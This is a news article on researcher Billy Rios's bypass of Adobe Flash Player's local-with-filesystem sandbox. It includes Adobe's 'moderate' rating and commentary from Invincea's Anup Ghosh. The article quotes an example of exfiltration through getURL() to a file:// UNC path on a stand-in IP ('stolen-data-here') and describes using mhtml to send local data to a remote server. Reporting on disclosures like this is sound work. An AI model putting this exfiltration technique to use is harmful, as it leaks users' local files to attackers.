Researcher Bypasses Flash Sandbox Security
A security researcher has identified a way to bypass the security measure that protects Adobe’s Flash Player
The security of Flash is once again in the headline after a security researcher managed to bypass the security sandbox implemented by Adobe Systems to prevent malicious Flash files from compromising computers.
According to application security researcher Billy Rios, there is a way to bypass the local-with-filesystem sandbox utilised in Adobe Flash Player.
“SWFs loaded from the local file system do face some restrictions. … Unfortunately, these restrictions are not the same as ‘cannot communicate with the network in any way’ which is what is stated in the documentation,” Rios blogged. “The simplest way to bypass the local-with-filesystem sandbox is to simply use a file:// request to a remote server. For example, after loading the content from the local file system an attacker can simply pass the contents to the attack server via getURL() and a URL like: file://\\192.168.1.1\stolen-data-here\.”
Moderate Risk
In its documentation, Adobe states that for security purposes, Flash Player by default puts all local SWF files and assets in the local-with-file-system sandbox. From there, the SWF files are supposed to be able to read local files but are not supposed to be able to communicate at all with the network.
“In the case of the local-with-filesystem sandbox, Adobe has decided to prevent network access through the use of protocol handler blacklists,” Rios added. “If we can find a protocol handler that hasn’t been blacklisted by Adobe and allows for network communication, we win.”
According to Adobe, the sandboxing technology has been available since Flash 8 on all platforms. A company spokesperson said the issue has been classified as “moderate.”
“An attacker would first need to gain access to the user’s system to place a malicious SWF file in a directory on the local machine before being able to trick the user into launching an application that can run the SWF file natively,” the spokesperson said. “In the majority of use scenarios, the malicious SWF file could not simply be launched by double-clicking on it; the user would have to manually open the file from within the application itself.”
Anup Ghosh, founder and chief scientist at Invincea, called Rios’ disclosure a “proof of concept that Adobe’s sandbox for Flash doesn’t really work as advertised.”
Bug Response
“The Adobe Sandbox for Flash Player attempts to prevent local Flash files from reading and sending data from the local host to a remote server,” he said. “For instance, a Flash file you load from your desktop should not be able to make an http or https request, since it has access to other files on the desktop and could leak the content of those files if it were allowed.”
The researcher’s analysis of the sandbox determined that Adobe implemented this requirement in an untenable way – it blacklisted certain communication protocols from running in the Adobe Flash sandbox, Ghosh explained.
“Rios simply had to find one of many communication protocols that were not blacklisted, and he succeeded using mhtml to pass an http or https request to a remote server with the contents of local data,” he said. “For an attacker, the actual exploit itself is trivial. They simply need to call mhtml from within a Flash file the user downloads. Is it hard to get a user to download and run a Flash file? It wasn’t hard for attackers to get users to open infected .pdf files.”
According to Adobe, the bug will be addressed in a future version of Adobe Flash Player, though an exact timeline has not yet been determined.
